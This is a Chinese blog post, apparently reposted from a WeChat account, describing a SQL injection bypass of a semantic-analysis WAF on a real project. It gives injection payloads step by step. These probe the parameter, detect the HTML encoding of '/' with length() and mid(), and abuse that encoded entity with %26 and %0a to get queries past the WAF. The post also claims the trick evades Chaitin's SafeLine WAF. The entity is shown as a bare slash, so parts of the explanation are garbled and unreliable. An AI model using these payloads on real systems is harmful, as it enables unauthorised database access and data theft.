公众号：XG小刚
项目上遇到一个waf类似语义分析，一旦SQL语句拼接成功就会拦截，规则很死。
测试过程
1、首先发现注入点是数字型
&type=4尝试加减发现存在注入
&type=4-0&type=5-1
但是尝试使用除法发现不行，很奇怪
&type=4/1
2、尝试进行注释发现是括号包裹的，而且可以井号注释，说明是mysql数据库
&type=4)%23
尝试是否order by利用，发现被拦截
&type=4)order+by+1%23
然后尝试了许多东西，发现WAF偏向语义分析，而且不是云WAF
3、测试时候发现/**/也不能用，这很不合理
&type=4)/**/%23
4、这里就想到了很多，可能/**/被正则替换掉了，也可能是特殊字符被转译或编码了
那就要尝试发现一下到底被怎么样了
想去测试被怎么了其实很简单，使用length函数去判断字符串长度变化
length('/**/')=?正常长度是4，如果被正则替换了长度通常变为1或0或其他固定数值
在测试时发现长度并不是4，也不是1和0，那就可能是被转译或编码了
然后测试时发现只是/这个字符被操作了，长度变成了5
length('/')=5这就为什么刚开始加减可以，除法则不行了。
使用substr进行截断匹配，发现substr被拦截，就使用了mid函数
mid('/',1,1)=?最后发现/被html编码为了/
&type=if(MID(%22/%22,2,1)=%22%23%22,4,1))%23
5、既然发现/被编码，就很大程度限制了绕过的思路。/**/不能用了
但是仔细研究发现，/被编码为/然后再拼接到语句里查询的，/里面有&拼接字符，#注释字符，后面的47;都是可以被前面注释掉的，只要在后面添加%0a即可防止之后的语句被注释。
所以我们需要利用/拼接出一个完整的语句
&type=4)%26/%0a1#正常上面语句一看就是无法执行的，但是将/换为/则变成下面语句
&type=4)%26%26#47;%0a1#语句执行成功
6、因为waf偏向语义分析
&type=4)%26/%0a(select+1+from+dual)#这个语句在waf看来是肯定语法错误的，所以就不拦截了
如果是正常语句则会拦截
到这就算彻底绕过了，后续查数据就正常查即可。
7、后面测试了长亭的雷池语义waf也不会拦截
原创文章，作者：速盾高防cdn，如若转载，请注明出处：https://www.sudun.com/ask/77435.html
